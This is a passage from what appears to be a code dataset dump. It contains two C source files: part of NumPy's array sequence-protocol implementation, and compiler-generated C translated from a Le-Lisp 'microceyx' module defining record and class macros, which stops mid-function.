filename
stringlengths
3
9
code
stringlengths
4
2.03M
780990.c
#define PY_SSIZE_T_CLEAN #include <Python.h> #include "structmember.h" #define _MULTIARRAYMODULE #define NPY_NO_PREFIX #include "numpy/arrayscalars.h" #include "npy_api.h" #include "numpy/ndarraytypes.h" #include "npy_config.h" #include "numpy/npy_3kcompat.h" #include "common.h" #include "mapping.h" #include "arrayobject.h" #include "sequence.h" static int array_any_nonzero(PyArrayObject *mp); /************************************************************************* **************** Implement Sequence Protocol ************************** *************************************************************************/ /* Some of this is repeated in the array_as_mapping protocol. But we fill it in here so that PySequence_XXXX calls work as expected */ static PyObject * array_slice(PyArrayObject *self, Py_ssize_t ilow, Py_ssize_t ihigh) { PyArrayObject *r; Py_ssize_t l; char *data; if (PyArray_NDIM(self) == 0) { PyErr_SetString(PyExc_ValueError, "cannot slice a 0-d array"); return NULL; } l=PyArray_DIM(self, 0); if (ilow < 0) { ilow = 0; } else if (ilow > l) { ilow = l; } if (ihigh < ilow) { ihigh = ilow; } else if (ihigh > l) { ihigh = l; } if (ihigh != ilow) { data = index2ptr(self, ilow); if (data == NULL) { return NULL; } } else { data = PyArray_BYTES(self); } PyArray_DIM(self, 0) = ihigh-ilow; Npy_INCREF(PyArray_DESCR(self)); ASSIGN_TO_PYARRAY(r, NpyArray_NewView(PyArray_DESCR(self), PyArray_NDIM(self), PyArray_DIMS(self), PyArray_STRIDES(self), PyArray_ARRAY(self), data - PyArray_BYTES(self), NPY_FALSE)); PyArray_DIM(self, 0) = l; return (PyObject *)r; } static int array_ass_slice(PyArrayObject *self, Py_ssize_t ilow, Py_ssize_t ihigh, PyObject *v) { int ret; PyArrayObject *tmp; if (v == NULL) { PyErr_SetString(PyExc_ValueError, "cannot delete array elements"); return -1; } if (!PyArray_ISWRITEABLE(self)) { PyErr_SetString(PyExc_RuntimeError, "array is not writeable"); return -1; } if ((tmp = (PyArrayObject *)array_slice(self, ilow, ihigh)) == NULL) { return -1; } ret = PyArray_CopyObject(tmp, v); Py_DECREF(tmp); return ret; } static int array_contains(PyArrayObject *self, PyObject *el) { /* equivalent to (self == el).any() */ PyObject *res; int ret; res = PyArray_EnsureAnyArray(PyObject_RichCompare((PyObject *)self, el, Py_EQ)); if (res == NULL) { return -1; } ret = array_any_nonzero((PyArrayObject *)res); Py_DECREF(res); return ret; } NPY_NO_EXPORT PySequenceMethods array_as_sequence = { #if PY_VERSION_HEX >= 0x02050000 (lenfunc)array_length, /*sq_length*/ (binaryfunc)NULL, /*sq_concat is handled by nb_add*/ (ssizeargfunc)NULL, (ssizeargfunc)array_item_nice, (ssizessizeargfunc)array_slice, (ssizeobjargproc)array_ass_item, /*sq_ass_item*/ (ssizessizeobjargproc)array_ass_slice, /*sq_ass_slice*/ (objobjproc) array_contains, /*sq_contains */ (binaryfunc) NULL, /*sg_inplace_concat */ (ssizeargfunc)NULL, #else (inquiry)array_length, /*sq_length*/ (binaryfunc)NULL, /*sq_concat is handled by nb_add*/ (intargfunc)NULL, /*sq_repeat is handled nb_multiply*/ (intargfunc)array_item_nice, /*sq_item*/ (intintargfunc)array_slice, /*sq_slice*/ (intobjargproc)array_ass_item, /*sq_ass_item*/ (intintobjargproc)array_ass_slice, /*sq_ass_slice*/ (objobjproc) array_contains, /*sq_contains */ (binaryfunc) NULL, /*sg_inplace_concat */ (intargfunc) NULL /*sg_inplace_repeat */ #endif }; /****************** End of Sequence Protocol ****************************/ /* * Helpers */ /* Array evaluates as "TRUE" if any of the elements are non-zero*/ static int array_any_nonzero(PyArrayObject *mp) { intp index; NpyArrayIterObject *it; Bool anyTRUE = FALSE; it = NpyArray_IterNew(PyArray_ARRAY(mp)); if (it == NULL) { return anyTRUE; } index = it->size; while(index--) { if (PyArray_DESCR(mp)->f->nonzero(it->dataptr, PyArray_ARRAY(mp))) { anyTRUE = TRUE; break; } NpyArray_ITER_NEXT(it); } Npy_DECREF(it); return anyTRUE; }
935605.c
/* GELL 15.26: source file for the module: "microceyx" */ /* translation done: "Wed June 16 93 18:01:14 " */ /* peephole-optimize-p: t */ /* optimize-local-labels-p: t */ #include "lelispc.h" #include "microceyx.h" static Ptr GLmicroceyx_1() { /* #:microceyx:check-record-or-tclass */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa2; (--rSp)->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_2); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_2() { /* 101 */ { register Ptr aRet, rSp; rSp = GIsp; if (((rSp + 1)->Val < GIbsymb) || ((rSp + 1)->Val >= GIbcons)) {aRet = ((Ptr) GLmicroceyx_3); goto lRet;} GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_5); {aRet = (GYmicroceyx[0] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_5() { /* call_microceyx_4 */ { register Ptr aRet, rSp; rSp = GIsp; if (GIa1 != GInil) {aRet = ((Ptr) GLmicroceyx_6); goto lRet;} GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_8); {aRet = (GYmicroceyx[1] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_8() { /* call_microceyx_7 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; if (GIa1 != GInil) {aRet = ((Ptr) GLmicroceyx_6); goto lRet;} GIa2 = rLit[2]; GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_10); {aRet = (rLit[3] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_10() { /* call_microceyx_9 */ { register Ptr aRet; if (GIa1 != GInil) {aRet = ((Ptr) GLmicroceyx_6); goto lRet;} {aRet = ((Ptr) GLmicroceyx_3); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_3() { /* 103 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; GIa3 = (rSp + 1)->Val; GIa2 = GYmicroceyx[4]; rA1 = rSp->Val; GIa1 = rA1; rA1 = llrt_call_error (); (rSp + 1)->Val = rA1; {aRet = ((Ptr) GLmicroceyx_2); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_6() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; GIa1 = (rSp + 1)->Val; rSp += (Fix) 2; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_11() { /* #:microceyx:check-tclass */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa2; (--rSp)->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_12); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_12() { /* 101 */ { register Ptr aRet, rSp; rSp = GIsp; GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_14); {aRet = (GYmicroceyx[0] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_14() { /* call_microceyx_13 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; if (rA1 != GInil) goto l_102; GIa3 = (rSp + 1)->Val; GIa2 = GYmicroceyx[5]; rA1 = rSp->Val; GIsp = rSp; GIa1 = rA1; rA1 = llrt_call_error (); (rSp + 1)->Val = rA1; {aRet = ((Ptr) GLmicroceyx_12); goto lRet;} l_102: rA1 = (rSp + 1)->Val; rSp += (Fix) 2; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_15() { /* #:microceyx:check-field */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa3; (--rSp)->Val = GIa2; (--rSp)->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_16); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_16() { /* 101 */ { register Ptr aRet, rSp; rSp = GIsp; if (((rSp + 2)->Val < GIbsymb) || ((rSp + 2)->Val >= GIbcons)) {aRet = ((Ptr) GLmicroceyx_17); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_18); {register Ptr aux; aux = (rSp + 2)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 4)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_18() { /* 104 */ { register Ptr aRet; if (GIa1 != GInil) {aRet = ((Ptr) GLmicroceyx_19); goto lRet;} {aRet = ((Ptr) GLmicroceyx_17); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_17() { /* 103 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = ((Ptr) GLmicroceyx_20); {register Ptr aux; aux = (rSp + 2)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 4)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_20() { /* 105 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; GIa3 = rA1; GIa2 = GYmicroceyx[8]; rA1 = rSp->Val; GIa1 = rA1; rA1 = llrt_call_error (); (rSp + 2)->Val = rA1; {aRet = ((Ptr) GLmicroceyx_16); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_19() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; GIa1 = (rSp + 2)->Val; rSp += (Fix) 3; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_21() { /* deftclass */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; GIa4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; (--rSp)->Val = GIa4; (--rSp)->Val = GInil; {aRet = ((Ptr) GLmicroceyx_22); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_22() { /* 101 */ { register Ptr aRet, rSp, rA4; rSp = GIsp; rA4 = GIa4; if (((rSp + 2)->Val < GIbsymb) || ((rSp + 2)->Val >= GIbcons)) {aRet = ((Ptr) GLmicroceyx_23); goto lRet;} rA4 = (rSp + 2)->Val; if ((rA4 + 3)->Val == GInil) {aRet = ((Ptr) GLmicroceyx_24); goto lRet;} GIa1 = (rA4 + 3)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_26); {aRet = (GYmicroceyx[0] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_26() { /* call_microceyx_25 */ { register Ptr aRet; if (GIa1 != GInil) {aRet = ((Ptr) GLmicroceyx_24); goto lRet;} {aRet = ((Ptr) GLmicroceyx_23); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_23() { /* 103 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; GIa3 = (rSp + 2)->Val; GIa2 = rLit[5]; rA1 = rLit[9]; GIa1 = rA1; rA1 = llrt_call_error (); (rSp + 2)->Val = rA1; {aRet = ((Ptr) GLmicroceyx_22); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_24() { /* 102 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; rA4 = (rSp + 2)->Val; if ((rA4 + 3)->Val != GInil) {aRet = ((Ptr) GLmicroceyx_27); goto lRet;} GIa2 = rA4; GIa1 = rLit[10]; (--rSp)->Val = ((Ptr) GLmicroceyx_29); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_29() { /* call_microceyx_28 */ { register Ptr aRet; (GIsp + 2)->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_27); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_27() { /* 105 */ { register Ptr aRet, rSp; rSp = GIsp; GIa2 = (rSp + 2)->Val; GIa1 = GInil; (--rSp)->Val = ((Ptr) GLmicroceyx_31); {aRet = (GYmicroceyx[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_31() { /* call_microceyx_30 */ { register Ptr aRet, rSp; rSp = GIsp; rSp->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_33); {aRet = (GYmicroceyx[12] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_33() { /* call_microceyx_32 */ { register Ptr aRet, rSp; rSp = GIsp; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_34); goto lRet;} GIa1 = rSp->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_36); {aRet = (GYmicroceyx[13] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_36() { /* call_microceyx_35 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; if (rA1 == (rSp + 2)->Val) {aRet = ((Ptr) GLmicroceyx_34); goto lRet;} GIa3 = rSp->Val; GIa2 = rLit[14]; rA1 = rLit[9]; GIa1 = rA1; rA1 = llrt_call_error (); {aRet = ((Ptr) GLmicroceyx_34); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_34() { /* 107 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = ((Ptr) GXpopj3); (--rSp)->Val = rLit[15]; (--rSp)->Val = ((Ptr) GLmicroceyx_37); (--rSp)->Val = rLit[2]; {register Ptr aux; aux = (rSp + 6)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 6)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_37() { /* 109 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_38); (--rSp)->Val = rLit[17]; GIa2 = (rSp + 7)->Val; GIa1 = GInil; (--rSp)->Val = ((Ptr) GLmicroceyx_40); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_40() { /* call_microceyx_39 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 8)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_38() { /* 110 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_41); (--rSp)->Val = rLit[18]; {register Ptr aux; aux = (rSp + 8)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_41() { /* 111 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_42() { /* defrecord */ { register Ptr aRet, *rLit, rSp, rA1, rA2, rA3, rA4, rNil, rBsymb, rBcons; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rA3 = GIa3; rA4 = GIa4; rNil = GInil; rBsymb = GIbsymb; rBcons = GIbcons; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; (--rSp)->Val = rA4; l_101: if (((rSp + 1)->Val < GIbvar) || ((rSp + 1)->Val >= rBcons)) goto l_103; rA4 = (rSp + 1)->Val; if ((rA4 + 3)->Val == rNil) goto l_102; l_103: rA3 = (rSp + 1)->Val; rA2 = rLit[19]; rA1 = rLit[20]; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_call_error (); (rSp + 1)->Val = rA1; goto l_101; l_102: rA1 = rSp->Val; rA1 = llrt_call_length (rA1, rBcons); if ((Fix) (rA1) <= (Fix) 16) goto l_105; rA2 = rSp->Val; rA1 = (rSp + 1)->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_cons (rA1, rA2); rA3 = rA1; rA2 = rLit[21]; rA1 = rLit[20]; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_call_error (); l_105: {register Ptr aux; aux = rSp->Val; (--rSp)->Val = aux;} (--rSp)->Val = rNil; l_106: if ((long) (rSp + 1)->Val < (long) rBcons) goto l_107; rA4 = (rSp + 1)->Val; (rSp + 1)->Val = (rA4 + 1)->Val; (--rSp)->Val = rA4->Val; l_108: if ((rSp->Val >= rBsymb) && (rSp->Val < rBcons)) goto l_109; if ((long) rSp->Val < (long) rBcons) goto l_110; rA4 = rSp->Val; if ((rA4->Val < rBsymb) || (rA4->Val >= rBcons)) goto l_110; if ((long) (rA4 + 1)->Val < (long) rBcons) goto l_110; rA3 = (rA4 + 1)->Val; if ((rA3 + 1)->Val == rNil) goto l_109; l_110: rA3 = rSp->Val; rA2 = rLit[22]; rA1 = rLit[20]; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_call_error (); rSp->Val = rA1; goto l_108; l_109: rA1 = rSp->Val; if ((rA1 < rBcons) || (rA1 >= GIecons)) rA1 = rNil; if (rA1 != rNil) goto l_111; rA2 = rLit[23]; rA1 = rSp->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_cons (rA1, rA2); l_111: rSp += (Fix) 1; rA2 = rSp->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_cons (rA1, rA2); rSp->Val = rA1; goto l_106; l_107: rA1 = rSp->Val; rA1 = llrt_call_nreverse (rA1, rBcons); rSp += (Fix) 2; rSp->Val = rA1; rA1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_44); {aRet = (rLit[12] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_44() { /* call_microceyx_43 */ { register Ptr aRet, rSp; rSp = GIsp; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_45); goto lRet;} GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_47); {aRet = (GYmicroceyx[13] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_47() { /* call_microceyx_46 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; if (rA1 == (rSp + 1)->Val) {aRet = ((Ptr) GLmicroceyx_45); goto lRet;} GIa3 = (rSp + 1)->Val; GIa2 = rLit[24]; rA1 = rLit[20]; GIa1 = rA1; rA1 = llrt_call_error (); {aRet = ((Ptr) GLmicroceyx_45); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_45() { /* 113 */ { register Ptr aRet, rSp, rA1, rA4, rNil; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rNil = GInil; rA1 = rNil; GIsp = rSp; GIa1 = rA1; GIa4 = rA4; rA1 = llrt_cons (rA1, rNil); (--rSp)->Val = rA1; rA4 = (rSp + 1)->Val; if ((rA4 + 1)->Val == rNil) {aRet = ((Ptr) GLmicroceyx_48); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_49); {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rA4; (--rSp)->Val = rNil; (--rSp)->Val = rA1; rA4 = (Ptr) 4; {aRet = ((Ptr) GLmicroceyx_50); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_49() { /* 116 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_51); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_48() { /* 114 */ { register Ptr aRet, rSp; rSp = GIsp; GIa3 = GIa1; GIa2 = GIa4; GIa1 = (rSp + 2)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_53); {aRet = ((Ptr) GLmicroceyx_54); goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_53() { /* call_microceyx_52 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_51); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_51() { /* 115 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa4; (--rSp)->Val = ((Ptr) GXpopj4); (--rSp)->Val = rLit[25]; (--rSp)->Val = ((Ptr) GLmicroceyx_55); (--rSp)->Val = rLit[18]; {register Ptr aux; aux = (rSp + 7)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_55() { /* 118 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[26]; (--rSp)->Val = ((Ptr) GLmicroceyx_56); (--rSp)->Val = rLit[27]; GIa2 = rLit[28]; GIa1 = (rSp + 9)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_58); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_58() { /* call_microceyx_57 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = GInil; {register Ptr aux; aux = (rSp + 8)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_56() { /* 119 */ { register Ptr aRet, *rLit, rSp, rA4; rLit = GYmicroceyx; rSp = GIsp; rA4 = GIa4; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_59); rA4 = (rSp + 7)->Val; (--rSp)->Val = (rA4 + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_60); (--rSp)->Val = ((Ptr) GLmicroceyx_61); (--rSp)->Val = rLit[29]; (--rSp)->Val = ((Ptr) GLmicroceyx_62); (--rSp)->Val = rLit[18]; {register Ptr aux; aux = (rSp + 15)->Val; (--rSp)->Val = aux;} rA4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_62() { /* 123 */ { register Ptr aRet, *rLit, rSp, rA1, rA2, rNil, rBcons; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rNil = GInil; rBcons = GIbcons; (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_63); (--rSp)->Val = rLit[18]; {register Ptr aux; aux = (rSp + 15)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rNil; l_125: if ((long) (rSp + 1)->Val < (long) rBcons) goto l_126; rA1 = (rSp + 1)->Val; (rSp + 1)->Val = (rA1 + 1)->Val; rA1 = rA1->Val; rA2 = rSp->Val; rA1 = rA1->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_cons (rA1, rA2); rSp->Val = rA1; goto l_125; l_126: rA1 = rSp->Val; rA1 = llrt_call_nreverse (rA1, rBcons); rSp += (Fix) 2; (--rSp)->Val = rA1; {register Ptr aux; aux = (rSp + 16)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rNil; l_127: if ((long) (rSp + 1)->Val < (long) rBcons) goto l_128; rA1 = (rSp + 1)->Val; (rSp + 1)->Val = (rA1 + 1)->Val; rA1 = rA1->Val; rA1 = (rA1 + 1)->Val; rA2 = rSp->Val; rA1 = rA1->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_cons (rA1, rA2); rSp->Val = rA1; goto l_127; l_128: rA1 = rSp->Val; rA1 = llrt_call_nreverse (rA1, rBcons); rSp += (Fix) 2; rA2 = rA1; rA1 = (rSp++)->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_cons (rA1, rA2); (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_63() { /* 124 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[30]; GIa4 = (Ptr) 4; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_61() { /* 122 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_64); (--rSp)->Val = rLit[17]; {register Ptr aux; aux = (rSp + 14)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 15)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_64() { /* 129 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_60() { /* 121 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[31] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_59() { /* 120 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 5; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_54() { /* #:microceyx:make-single-field-access */ { register Ptr aRet, *rLit, rSp, rA2; rLit = GYmicroceyx; rSp = GIsp; rA2 = GIa2; (--rSp)->Val = rA2; (--rSp)->Val = GIa1; (--rSp)->Val = ((Ptr) GLmicroceyx_65); (--rSp)->Val = GIa3; (--rSp)->Val = ((Ptr) GLmicroceyx_66); (--rSp)->Val = ((Ptr) GLmicroceyx_67); (--rSp)->Val = rLit[27]; rA2 = rA2->Val; rA2 = rA2->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_69); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_69() { /* call_microceyx_68 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[32]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_67() { /* 103 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; GIa1 = rLit[33]; (--rSp)->Val = ((Ptr) GLmicroceyx_71); {aRet = (rLit[34] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_71() { /* call_microceyx_70 */ { register Ptr aRet, *rLit, rSp, rA2; rLit = GYmicroceyx; rSp = GIsp; rA2 = GIa2; if (GIa1 == GInil) {aRet = ((Ptr) GLmicroceyx_72); goto lRet;} (--rSp)->Val = ((Ptr) GLmicroceyx_73); (--rSp)->Val = rLit[35]; rA2 = (rSp + 7)->Val; rA2 = rA2->Val; rA2 = rA2->Val; GIa1 = (rSp + 6)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_75); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_75() { /* call_microceyx_74 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[36]; GIa4 = (Ptr) 3; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_73() { /* 106 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_76); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_72() { /* 104 */ { register Ptr aRet; GIa4 = GInil; {aRet = ((Ptr) GLmicroceyx_76); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_76() { /* 105 */ { register Ptr aRet; (--GIsp)->Val = GIa4; GIa4 = (Ptr) 2; {aRet 